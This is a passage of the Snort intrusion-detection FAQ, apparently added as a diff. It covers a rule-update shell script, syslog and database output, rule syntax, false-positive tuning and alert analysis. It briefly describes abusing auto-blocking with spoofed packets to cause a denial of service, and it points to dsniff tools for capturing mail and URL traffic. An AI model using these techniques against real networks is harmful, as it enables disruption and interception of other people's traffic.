+             "$ECHO" "$MD5SUM2" >> /etc/snort/snort.log
+
+             exit 1
+
+    fi
+
+    # Extract the new rules
+
+    if [ -f "/etc/snort/snortrules-stable.tar.gz" ]
+
+    then
+
+             "$ECHO" "Extracting Snort rules..."
+
+             "$TAR" -xzvf /etc/snort/snortrules-stable.tar.gz -C /etc/snort
+
+    else
+
+             "$ECHO" "Lost the file! Something is wrong!"
+
+             "$ECHO" "Aborting!!"
+
+             exit 1
+
+    fi
+
+    # Deleting old rules
+
+    # Existiert das Verzeichnis ueberhaupt?
+
+    if [ -d "$RULESPATH" ]
+
+    then
+
+    #        /bin/rm "$RULESPATH"/*.rules
+
+             /bin/mv -f /etc/snort/rules/*.rules "$RULESPATH"
+
+             /bin/cp -f /etc/snort/rules/classification.config "$SNORTCFGPATH"
+
+    else
+
+             "$ECHO" "Missing rules-directory!"
+
+             "$ECHO" "Aborting!"
+
+             exit 1
+
+    fi
+
+     
+
+    # Cleaning up...
+
+    /bin/rm -rf /etc/snort/rules
+
+    # Give everything to root
+
+    /bin/chown root:root ${RULESPATH}/*
+
+    }
+
+    ###########################################################################
+    ####
+
+    #
+                                    M A I N                                      
+    #
+
+    ###########################################################################
+    ####
+
+    # Error handling first
+
+    FCHK=$(/usr/bin/wget -spider -N -t 3 -T 5 "$SIGS_URL1" -P /etc/snort 2>&1)
+
+    ERR_MSG=$("$ECHO" "$FCHK" | egrep -oi "failed error")
+
+    # Log the error message explicitly
+
+    "$ECHO" "$FCHK" >> /etc/snort/snort.log
+
+    # If there is a word "failed" or "error" we break..
+
+    if [ "$("$ECHO" "$FCHK"| grep -i "failed")" ] || \
+
+       [ "$("$ECHO" "$FCHK"| grep -i "error")" ]
+
+    then
+
+             "$ECHO" "Error getting the files. The server seems to be not available."
+
+             "$ECHO" "Error message:"
+
+             "$ECHO" "$FCHK"
+
+             "$ECHO" "Aborting!"
+
+             exit 0
+
+    fi
+
+     
+
+    "$ECHO" "Checking/getting files..."
+
+    # First extract the wget message
+
+    FCHK=$(/usr/bin/wget -spider -N -t 3 -T 5 "$SIGS_URL1" \
+
+                                  -P /etc/snort 2>&1 | grep "not retrieving")
+
+    /bin/date >> /etc/snort/snort.log
+
+    "$ECHO" "Wget-output:"
+
+    "$ECHO" $FCHK
+
+    # Logging what we've done and when
+
+    "$ECHO" "$FCHK" >> /etc/snort/snort.log
+
+    if [ -z "$FCHK"  ]
+
+    then
+
+             "$ECHO" "The files on the server seem to be newer."
+
+             "$ECHO" "We will get them now..."
+
+             getrules
+
+             # Reload rules
+
+             "$SERVICE" snort reload
+
+    #        restartsnort
+
+    else
+
+    #
+            "$ECHO" "The signature files on the server are older or not newer."
+
+             "$ECHO" "Doing nothing for now..."
+
+             "$ECHO" "Checking if Snort is running...."
+
+             checksnort
+
+             exit 0
+
+    fi
+
+    # Send Email
+
+    "$ECHO" -e "`ls -lA "$RULESPATH"`\n\nSnort running with PID $("$PIDOF"\
+
+                "$SNORT")" | mail -s "Reloaded Snort signatures on $MACHINE"\
+
+                "$MAILTO"
+
+    ###########################################################################
+    ####
+
+    ###########################################################################
+    ####
+
+    exit 0
+
+    #EOF
+
+3.19 How do you get the latest snort via cvs?
+
+  The Snort project's SourceForge CVS repository can be checked out through
+anonymous (pserver) CVS with the following instruction set. The module you wish
+to check out must be specified as the modulename. When prompted for a password
+for anonymous, simply press the Enter key.
+
+    cvs -d:pserver:anonymous@cvs.snort.sourceforge.net:/cvsroot/snort login
+
+    cvs -z3 -d:pserver:anonymous@cvs.snort.sourceforge.net:/cvsroot/snort co
+    snort
+
+Updates from within the module's directory do not need the -d parameter.
+
+3.20 How do I use a remote syslog machine?
+
+Add the syslog switch, -s, and put this statement syslog.conf
+
+    auth.alert         @managmentserverIP
+
+Look at your snort.conf file for more info on the facility and Priority
+settings.
+
+Make sure you have syslogd on management server configured to allow syslog over
+UDP. Under RedHat, you can do this by editing /etc/sysconfig/syslog and adding
+the following line:
+
+    SYSLOGD_OPTIONS="-r -m 0"
+
+This will start syslogd with the mark interval set to 0 (turning it off) and
+set it to receive network connections.
+
+Then restart syslog. ``man syslogd'' for more info. You might also want to
+investigate syslog-ng^[*].
+
+Example invocation of snort:
+
+    /usr/local/bin/snort -c /etc/snort/snort.conf -I -A full -s 192.168.0.2:514
+    -i rl0
+
+Note for Win32 users:
+
+Frank Knobbe wrote a patch for Snort to allow you to use '-s <host>' on the
+command line under Windows without nullifying the snort.conf. In other words,
+Snort still uses all settings from snort.conf but in addition uses the host
+from '-s' to send syslog alerts to. You can find the patch at
+
+    http://www.snort.org/dl/contrib/patches/win32syslog/
+
+3.21 How do I build this ACID thing?
+
+Read carefully through all the docs for each package. Getting ACID to work is a
+lot of work, since it depends on many packages. You need a working Apache, a
+working PHP, a working GD (and the many libraries GD depends on), the ADODB
+package, and Phplot. This is a lot of stuff to configure.
+
+A typical sequence to get this all working on Solaris 8: Use some binary
+packages from a trusted Sun freeware site (sunfreeware.com). The most problems
+were with PHP and the GD library. GD itself needs a bunch of packages and
+libraries to work also. It needs the libpng stuff, the libjpeg stuff (if you
+want jpeg), etc, etc. Read through the readme for GD. So you either need to get
+these and compile them also, or get some binary packages. PHP is the most
+difficult thing to get compiled correctly. The PHP package needs to be compiled
+with lots of "-with" flags for GD to work properly, otherwise it gets lots of
+run-time unresolved reference errors. Just using a "with" for GD isn't
+sufficient. You also need to "with" each library which GD uses also, or PHP
+can't find the functions it needs. Here's the "configure" line you can use to
+get PHP working:
+
+    ./configure --with-mysql --with-apxs=/usr/apache/bin/apxs --with-gd
+    --enable-sockets --with-jpeg-dir=/usr/local/lib --with-png-dir=/usr/local/
+    lib --with-zlib-dir=/usr/local/lib --with-xpm-dir=/usr/local/lib
+
+ These 'with' statements basically have the effect of the Makefile including -L
+and -R statements for each library so that both the compile and run time
+linkers can find all the functions needed to find in the Apache module
+environment. Apache doesn't seem to consult the LD_LIBRARY_PATH when running a
+module (or PHP doesn't, or there's some config item in the Apache conf files,
+but you can just use the "withs").
+
+Basically, you need to work from the bottom up. So you need to obtain/compile
+any libraries that GD needs and install them, and any libraries/packages those
+packages need. Then once you get GD compiled properly and installed, compile
+PHP. Then make a PHP script that calls phpinfo() (this is referenced in the
+ACID install) and carefully examine the page produced. Once satisfied PHP is
+working, then the 'foundation' is ready for the other stuff. Install PHplot and
+run a few of the tests. If they succeed, then install ADODB and ACID, tweak the
+config files, and it should all work. (heh, heh)
+
+Also make sure you read the ACID FAQ on the web site. There's some stuff not in
+the ACID install guide that should probably be there. Namely the fact that the
+PHP "register_globals" option must be turned on in the php.ini file (it's off
+in the default PHP configurations).
+
+ACID FAQ: http://www.andrew.cmu.edu/~rdanyliw/snort/acid_faq.html
+
+4 Rules and Alerts
+
+4.1 Errors loading rules files
+
+Some common ones:
+
+  * ERROR telnet.rules:YYY => Port value missing in rule!
+  * ERROR telnet.rules:YYY => Bad port number: "(msg:"blah"
+  * ERROR telnet.rules:YYY => Couldn't resolve hostname blah
+
+What's going on?
+
+``telnet.rules'' is the file where the syntax error occurred, and ``YYY'' is
+the line number it occurred on. There are a couple of possibilities:
+
+1.  The rule is missing a port value, has an invalid port number, or a bad
+    hostname - in which case the ruleset author/maintainer should be notified.
+2.  More often, the rule is just fine, but a variable in it was not declared.
+    Open the rules file, look at the rule on the line number provided, and
+    confirm that the variables it uses have been declared. You can read more
+    about variables from
+
+        http://www.snort.org/docs/writing_rules/chap2.html#tth_sEc2.1.2
+
+4.2 Snort says "Rule IP addr ("1.1.1.1") didn't x-late, WTF?"
+
+Get rid of the quotes around the IP address and try again.
+
+4.3 Snort is behind a firewall and awfully quiet...
+
+Your firewall rules will also block traffic to the snort processes.
+
+Note: This does not apply if Snort is installed _on_ the firewall box.
+
+4.4 Does snort see packets filtered by IPTables/IPChains/IPF/PF?
+
+Snort operates using libpcap. In general it sees everything the network adapter
+driver sees before the network stack munges it. Linux IPTables, Linux IPChains,
+BSD PF and IPF and other packet filters do not prevent snort from seeing a
+packet that is present on the network wire. Even if an inbound packet is denied
+by the packet filter Snort will still see and analyze the packet if it is
+listening to that interface. Snort/pcap sees whatever comes out of or goes into
+the network adapter.
+
+Note however that Snort is affected to the extent that the stream of data on
+the network wire is affected. Thus Snort will not see outbound packets which
+were denied while being sent since they will never reach the network adapter.
+
+Under OpenBSD you can snort just the PF rejects by using the /dev/pflogN
+interface.
+
+4.5 I'm getting large amounts of <some alerts type>. What should I do? Where
+can I go to find out more about it?
+
+Some rules are more prone to producing false positives than others. This often
+varies between networks. You first need to determine if it is indeed a false
+positive. Some rules are referenced with ID numbers. The following are some
+common identification systems, and where to go to find more information about a
+particular alert.
+
++---------------------------------------------------------------------------------------+
+| System  | Example       | URL                                                         |
+|---------+---------------+-------------------------------------------------------------|
+| IDS     | IDS182        | http://www.whitehats.com/IDS/182                            |
+|---------+---------------+-------------------------------------------------------------|
+| CVE     | CVE-2000-0138 | http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2000-0138 |
+|---------+---------------+-------------------------------------------------------------|
+| Bugtraq | BugtraqID 1   | http://www.securityfocus.com/vdb/bottom.html?vid=1          |
+|---------+---------------+-------------------------------------------------------------|
+| McAfee  | Mcafee 10225  | http://vil.nai.com/vil/dispVirus.asp?virus_k=10225          |
+|---------+---------------+-------------------------------------------------------------|
+| Nessus  | Nessus 11073  | http://cgi.nessus.org/plugins/dump.php3?id=11073            |
++---------------------------------------------------------------------------------------+
+
+It may be necessary to examine the packet payload to determine if the alert is
+a false positive. The packet payload is logged using the -d option. If you
+determine the alerts are false positives, you may want to write pass rules for
+machines that are producing a large number of them. If the rule is producing an
+unmanageable amount of false positives from a number of different machines, you
+could pass on the rule for all traffic. This should be used as a last resort.
+
+4.6 What about all these false alarms?
+
+Most think that a pile of false positives is infinitely preferable. Then people
+can turn off what they don't want. The reverse, having a small rule set, can
+lure people into complacency thinking that Snort is doing "its thing" and there
+is nothing to worry about.
+
+4.7 What are all these ICMP files in subdirectories under /var/log/snort?
+
+Most of them are likely destination unreachable and port unreachables that were
+detected by snort when a communications session attempt fails.
+
+4.8 Why does the program generate alerts on packets that have pass rules?
+
+The default order that the rules are applied in is alerts first, then pass
+rules, then log rules. This ordering ensures that you don't write 50 great
+alert rules and then disable them all accidently with an errant pass rule. If
+you really want to change this order so that the pass rules are applied first,
+use the "-o" command line switch, or the ``order'' config directive.
+
+One other thing to keep in mind is that the alert might be generated from a
+preprocessor. If that is the case, then no pass rule will help you minimize the
+false positives. You will need to use a BPF filter.
+
+4.9 What are all these "ICMP destination unreachable" alerts?
+
+ICMP is the acronym for Internet Control Message Protocol. They are failed
+connections. ICMP unreach packet carries first 64 bits(8bytes) or more of the
+original datagram and the original IP header.
+
+The ICMP Destination Unreachable (message type 3) is sent back to the
+originator when an IP packet could not be delivered to the destination address.
+The ICMP Code indicates why the packet could not be delivered. The original
+codes are:
+
+  * 0 - net unreachable
+  * 1 - host unreachable
+  * 2 - protocol unreachable
+  * 3 - port unreachable
+  * 4 - fragmentation needed and DF bit set
+  * 5 - source route failed
+
+As far as why... "it all depends..."
+
+ICMP Unreachable Error Messages are divided into two groups:
+
+1.  ICMP Unreachable Error Messages issued by routers (all 16 of them)
+2.  ICMP Unreachable Error Messages issued by a Host (only 2)
+
+What are the only 2 issued by a host?
+
+  * ICMP Port Unreachable - the destination port on the targeted host is closed
+    (a.k.a. not in a listening state).
+  * ICMP Protocol Unreachable - the protocol we were trying to use is not being
+    used on the targeted host.
+
+Both ICMP Type field and Code field indicates why the packets could not be
+delivered. Some snort ICMP alerts" are informational like the ICMP alerts found
+in icmp-info.rules. At this time there are no references or even classtypes
+associated with these rules.
+
+Other rules are more likely to be associated with untoward activity. For
+example, in icmp.rules you will find:
+
+    alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP ISS Pinger";
+    content:"|495353504e475251|";itype:8;depth:32; reference:arachnids,158;
+    classtype:attempted-recon; sid:465; rev:1;)
+
+which has a reference where the importance might be determined by checking out
+the arachnids reference. The classtype may indicate more or less the relative
+importance of the event.
+
+When a destination UDP port is closed on the targeted host, a.k.a. not in a
+listening state, the targeted host will issue an ICMP Port Unreachable error
+message back to the offending packets source IP address, given in the query.
+Some programs use these messages, like traceroute with *nix based machines.
+Windows based machines (tracert) will default to ICMP Echo requests...
+
+For further information about this see
+
+  * IP - ftp://ftp.isi.edu/in-notes/rfc791.txt
+  * ICMP - ftp://ftp.isi.edu/in-notes/rfc792.txt
+  * TCP - ftp://ftp.isi.edu/in-notes/rfc793.txt
+  * UDP - ftp://ftp.isi.edu/in-notes/rfc768.txt
+
+and
+
+    http://www.iana.org/assignments/icmp-parameters
+
+Actually, putting this URL somewhere handy is a good idea:
+
+    http://www.iana.org/
+
+There is also a good ICMP paper available at:
+
+    http://www.sys-security.com/
+
+4.10 Why do many snort rules have the flags P (TCP PuSH) and A (TCP ACK) set?
+
+One of the reasons it alerts on a PA flags is to minimize the false positive.
+You will only get an alert upon successful connections. If you want to see all
+the attempts, you either have to modify the signatures, add you own signatures
+or use your firewall logs to see if an attempt to specific a port occurred.
+
+4.11 Snort says BACKDOOR SIGNATURE... does my machine have a Trojan?
+
+If you are dumping the data part of the packet, review it. These rules are
+known to have high false rates as most of them are just based on numeric port
+numbers.
+
+4.12 What about "CGI Null Byte attacks"?
+
+It's a part of the http preprocessor. Basically, if the http decoding routine
+finds a %00 in an http request, it will alert with this message. Sometimes you
+may see false positives with sites that use cookies with urlencoded binary
+data, or if you're scanning port 443 and picking up SSLencrypted traffic . If
+you're logging alerted packets you can check the actual string that caused the
+alert. Also, the unicode alert is subject to the same false positives with
+cookies and SSL. Having the packet dumps is the only way to tell for sure if
+you have a real attack on your hands, but this is true for any content-based
+alert.
+
+4.13 Why do certain alerts seem to have 'unknown' IPs in ACID?
+
+The Snort database plug-in only logs packet information into the database when
+an alert is triggered by a rule (signature). Therefore, since alerts generated
+by pre-preprocessors such as portscan and mini-fragment have no corresponding
+rules, no packet information is logged beyond an entry indicating their
+occupance. As a consequence, ACID cannot display any packet-level (e.g. IP
+address) information for these alerts. For these particular alerts, certain
+statistics may show zero unique IP addresses, list the IP address as 'unknown',
+and will not list any packet information when decoding the alert.
+
+4.14 Can priorities be assigned to Alerts using ACID?
+
+The quick answer to this question is no. ACID is at the mercy of the underlying
+database, since Snort doesn't assign priorities, ACID does not have priorities.
+Nevertheless, there are some work-arounds:
+
+  * It is possible to enforce priorities of sort at the database level by
+    writing alerts of different severity to separate databases. For example,
+    critical alerts such as buffer overflows can be written to one database,
+    while scan alerts can be written to another. Then load two different
+    versions of ACID, each pointing to a different instance of the database.
+  * With manual intervention Alert Groups (AG) can be used to assign priority.
+    Essentially, this strategy entails creating an AG for each severity level
+    and manually moving the alerts as they arrive into the appropriate group.
+
+4.15 What about 'SMB Name Wildcard' alerts?
+
+Whitehats IDS177 http://dev.whitehats.com/cgi/test/new.pl/Show?_id=
+netbios-name-query specifies traffic coming from outside of your local network.
+Allowing netbios traffic over public networks is usually very insecure.
+
+If the rule you are using also refers to ingres traffic only, then it would
+explain why you don't see a lot of false positives. For anyone reading that
+does see a lot of false positives - if you change your rule to reflect the
+source address as being !$HOME (or whatever variable you use to represent your
+internal network), then you should see most of the false positives go away.
+
+The value of this check is that a default administrative share C$ ADMIN$ or
+some such has been accessed. This shouldn't happen in normal use - when people
+want to share files they should be implicitly defining the shares and ACL.
+
+4.16 What the heck is a SYNFIN scan?
+
+SYNFIN scans got their name because there are both the SYN and FIN flags set.
+
+4.17 I am getting too many "IIS Unicode attack detected" and/or "CGI Null Byte
+attack detected" false positives. How can I turn this detection off?
+
+These messages are produced by the http_decode preprocessor. If you wish to
+turn these checks off, add -unicode or -cginull to your http_decode
+preprocessor line respectively.
+
+    preprocessor http_decode: 80 8080 -unicode -cginull
+
+Your own internal users normal surfing can trigger these alerts in the
+preprocessor. Netscape in particular has been known to trigger them.
+
+Instead of disabling them,try a BPF filter to ignore your outbound http traffic
+such as:
+
+    snort -d -A fast -c snort.conf not (src net xxx.xxx and dst port 80)
+
+This has worked very well for us over a period of 5-6 months and Snort is still
+very able to decode actual and dangerous cgi null and unicode attacks on our
+public web servers.
+
+4.18 How do I test snort alerts and logging?
+
+Try a rule that will fire off all the time like:
+
+    alert tcp any any -> any any (msg:"TCP traffic";)
+
+Also take a look at sneeze at http://snort.sourceforge.net/sneeze-1.0.tar
+Sneeze is a false positive generator that reads snort signatures and generates
+packets that will trigger the rules.
+
+4.19 What is the difference between ``Alerting'' and ``Logging''?
+
+ There are two primary output facilities in Snort, logging and alerting. The
+alerting facility exists to let you know that something interesting has
+happened. The logging facility exists to log full packet information to the
+output format (pcap, ascii, database, etc).
+
+The "alert" action in Snort is hard coded to do two things when an event is
+detected by Snort, write an event to the alert facility and log as much as
+possible/desired to the output facility. The "log" action merely logs the
+current packet to the logging facility without generating an alert. This is
+done so you can log interesting things (telnet sessions, whatever) without
+having to generate an alert on every packet.
+
+The database plugin is something of an anomaly because it doesn't separate the
+two functionalities very much. The "log" option attaches the log facility and
+the "alert" option attaches it to the alert facility. What this means in
+practical terms is that if the db plugin is in alert mode, it will only receive
+output from alert rules, whereas if it's in "log" mode it will receive output
+from both log and alert rules.
+
+4.20 Are rule keywords ORed or ANDed together?
+
+From Section 2.1 of the Snort Manual:
+
+    All of the elements in that make up a rule must be true for the indicated
+    rule action to be taken. When taken together, the elements can be
+    considered to form a logical AND statement. At the same time, the various
+    rules in a Snort rules library file can be considered to form a large
+    logical OR statement.
+
+4.21 Can snort trigger a rule by MAC addresses?
+
+Not exactly. Snort logs MAC addresses and other L2 info within the packets. The
+arpwatch pre-processor can watch for games with MAC address changes. But there
+is no facility for triggering Rules form the L2 information. The content search
+keywords and depth and offset begin from the L3 payload, though we haven't
+tried playing with really big offsets yet :-).
+
+4.22 How can I deactivate a rule?
+
+Rules can be called from an included file in snort.conf, which tells Snort to
+follow the path to the rules file specified, and load it at initialization.
+Rules can also be included in snort.conf directly. If you want to deactivate a
+single rule within any list of rules, you can use one of these techniques:
+
+1.  Delete the rule and re-initialize Snort
+2.  Place a # in front of the rule, commenting it out, and re-initialize Snort
+3.  Write a pass rule with the same properties in local.rules (or wherever you
+    prefer), and re-initialize Snort with the -o option.
+
+4.23 How can I define an address to be anything except some hosts?
+
+Use the ! operator. E.g.:
+
+    var EXTERNAL_NET !$HOME_NET
+
+Note that the negation operator does not work inside a list so the following
+will NOT work:
+
+    var EXTERNAL_NET [!192.168.40.0/24,!10.14.0.0/16]
+
+but this will work:
+
+    var EXTERNAL_NET ![192.168.40.0/24,10.14.0.0/16]
+
+4.24 After I add new rules or comment out rules how do I make snort reload?
+
+Usually a kill -HUP will work just fine. But if you are running inside of a
+chroot setup, this will not work as expected (see FAQ 6.19). If you're running
+like inside of a chroot jail, your best bet would be to kill and restart the
+snort process instead.
+
+4.25 Where do the distance and within keywords work from to modify content
+searches in rules ?
+
+The "distance" keyword gives you a relative offset from the end of the last
+match, so it basically acts as a wildcarding mechanism. You can also use the
+new "within" keyword to limit how deep into the packet from the end of the
+distance it'll search before it stops.
+
+4.26 How can I specify a list of ports in a rule?
+
+You can't yet. You can specify a range of ports between X and Y With the
+notation X:Y. See the users manual^[*] for more info on port ranges.
+
+4.27 How can I protect web servers running on ports other than 80?
+
+It is possible... It's a kludge, but it can work. Since the newer rules use
+$HTTP_PORTS variable, you simply reset it and re-run the rules for the other
+ports.
+
+For example:
+
+    var HTTP_PORTS 80
+
+    include web.rules
+
+    var HTTP_PORTS 8080
+
+    include web.rules
+
+4.28 How do I turn off "spp:possible EVASIVE RST detection" alerts?
+
+You want to pass the ``disable_evasion_alerts'' argument to stream4 in
+snort.conf.
+
+4.29 Is there a private SID number range so my rules don't conflict?
+
+Yes. Private SID starts at 1000000.
+
+4.30 How long can Address Lists, Variables, or Rules be?
+
+The snort parser has an 8K limit on variables and rules *after* expansion. In
+practice this is not a major limitation. :-)
+
+5 Getting Fancy
+
+5.1 I hear people talking about ``Barnyard''. What's that?
+
+  Barnyard is a output system for Snort. Snort creates a special binary output
+format called ``unified''. Barnyard reads this file, and then resends the data
+to a database backend. Unlike the database output plugin, Barnyard is aware of
+a failure to send the alert to the database, and it stops sending alerts. It is
+also aware when the database can accept connections again and will start
+sending the alerts again.
+
+5.2 How do I process those snort logs into reports?
+
+1.  Barnyard 5.1can be used to process unified output files into a number of
+    formats including output to a database for further analysis.
+2.  SnortSnarf, a tool for producing HTML out of snort alerts for navigating
+    through these alerts.
+
+        http://www.silicondefense.com/snortsnarf/
+
+3.  If you want to set up logging to a database you could try ACID Some
+    documentation describing the current ACID functionality:
+
+        http://www.cert.org/kb/acid/
+
+4.  You can manipulate the unified output files directly without a separate
+    database and browse/correlate them with Cerebus:
+
+        http://dragos.com/cerebus/
+
+5.  For GUI front ends with simple log browsing look at:
+
+      + HenWen (OSX)
+
+            http://homepage.mac.com/nickzman
+
+            http://home.attbi.com/~rickzman/software/HenWen1.0.sit.bin
+
+      + IDS Center (Win32) 
+
+            http://www.packx.net/
+
+      + Puresecure (UNIX and Win32)-Formerly known as demarc.
+
+            http://www.demarc.com/downloads/puresecure/
+
+      + SnortCenter (UNIX and Win32)
+
+            http://users.pandora.be/larc/
+
+      + IDS Policy Manager (Win32)
+
+            http://www.activeworx.com/IDSPM/
+
+5.3 How do I log to multiple databases or output plugins?
+
+Feed the unified output files through barnyard twice to separate databases,
+or...
+
+You can build redundancy by using multiple output plugins. Here are some
+examples.
+
+Multiple instantiations of the database plugin:
+
+    output log_database: mysql, dbname=snort host=localhost user=xyz
+    output log_database: mysql, dbname=snort host=remote.loghost.com user=xyz
+
+Remote database and local tcpdump:
+
+    output log_database: mysql, dbname=snort host=remote.loghost.com user=xyz
+    output log_tcpdump: /var/log/snort.tcpdump
+
+Then you can replay the tcpdump file through snort to recreate the database.
+CAVEAT: just playing back the log packets might not trigger some of the state
+dependent pre-processors.
+
+5.4 How can I test snort without having an ethernet card or a connection to
+other computers?
+
+You have to use routing between two dummy devices:
+
+    modprobe -a dummy # (The dummy device has to be built by the kernel)
+
+    ifconfig dummy0 192.168.0.1
+
+    ifconfig dummy0:0 192.168.0.2
+
+    telnet 192.168.0.3 12345
+
+It's important that the second IP is on the same interface and not e.g. dummy1
+or dummy2 and that the IP you try to access is not one of those you put on the
+interfaces. Use snort's ability to hear in promiscuous mode on an IP address
+range. (HOME_NET=192.168.0.0/16)
+
+5.5 How to start snort as a win32 service?
+
+1.  Use must use complete paths for everything. This means EVERYTHING. Command
+    line, configuration files, everything. Examples: All include statements
+    must be full paths.
+
+        WRONG: include scan-lib
+
+        CORRECT: include C:\( \backslash \)snort\( \backslash \)scan-lib
+
+    All Command line options must be full paths.
+
+        WRONG: snort.exe -l ./log
+
+        CORRECT: snort.exe -l C:\( \backslash \)snort\( \backslash \)log
+
+2.  YOU MUST ALWAYS HAVE A LOGGING DIRECTORY SET VIA THE COMMAND LINE (-l
+    switch). If you do not set a logging directory the service will not start
+    and, on NT/Win2k, your bootup will hang for about 4 minutes.
+3.  Make sure that snort runs correctly from the command line, without yet
+    worrying about any service related issues. Test that all of your desired
+    command line parameters are causing snort to function as you expect, such
+    as correctly generating logging and alert output. If you can't get this
+    part to work, then you don't have much hope of snort miraculously starting
+    to work as a service.
+4.  Once you have step (3) running correctly, modify the command line
+    parameters you used in step (3) to include the additional parameters "/
+    SERVICE /INSTALL". For example, if your command line in step (3) was
+
+        snort -i1 -lC:\( \backslash \)snort\( \backslash \)log -cC:\( \
+        backslash \)snort\( \backslash \)snort.conf
+
+    then you should change it to be
+
+        snort /SERVICE /INSTALL -i1 -lC:\( \backslash \)snort\( \backslash \)
+        log -cC:\( \backslash \)snort\( \backslash \)snort.conf
+
+    Verify that the command line parameters were received correctly by running
+    the command 'snort /SERVICE /SHOW'.
+5.  Start the service by running the command
+
+        net start snortsvc
+
+    Note that versions 1.9 (build 228), 2.0 (build 50), or any versions newer
+    than these, will add entries to the Win32 event Log if there is ever a
+    problem starting the service.
+    Stop the service by running the command
+
+        net stop snortsvc
+
+6.  The service can be uninstalled by running the command
+
+        snort /SERVICE /UNINSTALL
+
+5.6 Is it possible with snort to add a ipfilter/ipfw rule to a firewall?
+
+Yes, with additional software in the contrib directory. But this can be
+dangerous and is not recommended unless you know what you're doing.
+
+  * SnortSam
+
+        http://www.snortsam.net
+
+  * You also might wat to look at inline-snort at:
+
+        http://www.snort.org/dl/contrib/patches/snort-inline
+
+  * Guardian is a perl script which uses snort to detect attacks, and then uses
+    IPchains to deny any further attacks. The Guardian webpage can be found at:
+    http://www.chaotic.org/~astevens/Guardian/index.html or you can use the
+    mirror, http://www.cyberwizards.com/~midnite/Guardian/index.html
+
+But one caveat... running external binaries can also be a performance limiter
+and your should read the caution below...
+
+CHRISTOPHER CRAMER wrote:
+
+    I'm sure this has been mentioned before in similar discussions, but this
+    feels like a _really_ bad idea. What if the bad guys realize what is going
+    on and make use of your blocking method as a DoS attack. All one would have
+    to do start sending a series of triggering packets with spoofed IP
+    addresses.
+
+    Since I am no longer interested in breaking into your site, but rather
+    making your life hell, I don't worry about the resulting data getting back
+    to me. All I have to do is start proceeding up a list of IP addresses that
+    I think you should no longer be able to talk to. When you come in the next
+    morning, you find that you can no longer access the world.
+
+    Just my $0.02.
+
+Danger Will Robinson: Conventional wisdom says that auto-blocking is inherently
+dangerous.
+
+However, for those that like to live at the bleeding edge of tech (and the
+separate process scanning logs and processing firewall commands sounds like a
+good way to do this...):
+
+Please remember to include an exclusion list and put on them important sites
+such as root servers, other important dns servers (yours, and important sites
+for your users), and in general any host you don't want to receive phone calls
+about being DoSed when they are spoofed - usually inconveniently like that
+first time you actually manage to get on vacation.... (i.e. imagine "Crisis:
+the CEO can't reach his favorite redlite.org game.... you have to fly back from
+the Carribean asap....")
+
+5.7 What is the best way to use snort to block attack traffic?
+
+snort-inline > hogwash >> SnortSAM|Guardian >> flexresp
+
+5.8 Snort complains about the "react" keyword...
+
+Rerun configure with the -enable-flexresp option and rebuild/reinstall.
+
+5.9 How do I get snort to e-mail me alerts?
+
+You can't. Such a process would slow Snort down too much to make it of any use.
+Instead, log to syslog and use swatch or logcheck to parse over the plaintext
+logfiles.
+
+With the logsurfer docs, this might get you on the road to doing something with
+snort & logsurfer:
+
+    http://www.obfuscation.org/emf/logsurfer/snort.txt
+
+JASON HAAR provided an example Swatch (3.1beta) config that emails alerts:
+
+    http://www.theadamsfamily.net/~erek/snort/snort-swatch.conf.txt
+
+Here are some docs on swatch:
+
+  * http://www.oit.ucsb.edu/~eta/swatch/
+  * http://www.stanford.edu/~atkins/swatch
+  * http://rr.sans.org/sysadmin/swatch.php
+  * http://www.enteract.com/~lspitz/swatch.html
+  * http://www.cert.org/security-improvement/implementations/i042.01.html
+
+IDS Center (see FAQ 5) on Win32 will also mail alerts.
+
+5.10 How do I log a specific type of traffic and send alerts to syslog?
+
+An example addition to snort.conf:
+
+    ruletype redalert {
+
+    type alert
+
+    output alert_syslog: LOG_LOCAL2
+
+    output database: alert, postgresql, user=user dbname=snort password=pwd
+
+    }
+
+Go into your local.rules and make sure you have something like:
+
+    redalert tcp any any -> any any (msg:"REDRUM REDRUM";
+    content:"redalerttest")
+
+Then just do a telnet and type 'redalerttest'. Presto, alerts to both.
+
+5.11 Is it possible to have snort call an external program when an alert is
+raised?
+
+Calling another program from within your main IDS loop is generally a bad idea.
+Having your IDS block while waiting for <something> of dubious reliability and
+origin nevermind timing while the packets are piling up is inviting packet
+loss. Especially with the already oh-so-consistent "Gee I think I'll go away
+for a minute" rock steady even cpu slicing Windows gives you (that's sarcasm,
+sorry). Go with the second approach.... process invocation is expensive on
+Windows.
+
+You want to keep that IDS task humming and munching packets as efficiently as
+possible with as few interruptions as possible, IMHO, and not be invoking the
+penalty of process invocation.... particularly on Windows where process
+invocation is much much heavier task than *nix.
+
+Even in a secondary process... You'll probably find something that stays
+"awake" all the time will work out much more nicely than something that gets
+"woken up" on a per alert basis for the aforementioned reasons.
+
+As a better alternative go check out swatch or logwatch. Also for those new to
+UNIX, logging alerts to syslog and then using "tail -f /var/log/messages" might
+be what you are looking for.
+
+5.12 How can I use snort to log http urls or smtp traffic ?
+
+It can be done with snort, but you might find it faster to use mailsnarf and
+urlsnarf from Dug Song's dsniff package. Dsniff is available from
+
+    http://www.monkey.org/~dsong/dsniff/
+
+You can get a win32 port of dsniff at
+
+    http://www.datanerds.net/~mike/dsniff.html
+
+5.13 How can I move data from the snort db to snort_archive db like ACID does?
+
+Use the perl script snort_archdb.pl found in the contrib dir of the snort
+distribution (snort_archdb-90a.tar.gz).
+
+5.14 What are some resources that I can use to understand more about source
+addresses logged and where they are coming from?
+
+  * http://www.arin.org/
+  * http://www.caida.org/tools/utilities/netgeo/
+  * http://netgeo.caida.org/perl/netgeo.cgi
+  * http://standards.ieee.org/regauth/oui/oui.txt
+  * http://www.codito.de/manufactor_hash
+  * http://coffer.com/mac_find/
+  * http://www.idefense.com/Intell/CI022702.html
+  * http://www.idefense.com/excelfiles/All.zip
+
+also try "dig".
+
+5.15 How do I understand this traffic and do IDS alert analysis?
+
+1.  You'll need to understand some basics of IP, TCP, and UDP. Things like
+    destination addresses, source addresses, common ports, what TCP SYN, FIN
+    and RST mean, etc. The same kind of basic knowledge of the internet you
+    need to successfully configure a multi-interface router applies here,
+    although you don't need to know router syntax. Some useful online
+    references:
+      + A truly basic "intro to TCP/IP" http://pclt.cis.yale.edu/pclt/COMM/
+        TCPIP.HTM
+      + A reasonable looking TCP/IP FAQ: http://www.itprc.com/tcpipfaq/
+        default.htm
+      + A basics of firewalls, DMZ's, etc. http://www.ibiblio.org/pub/Linux/
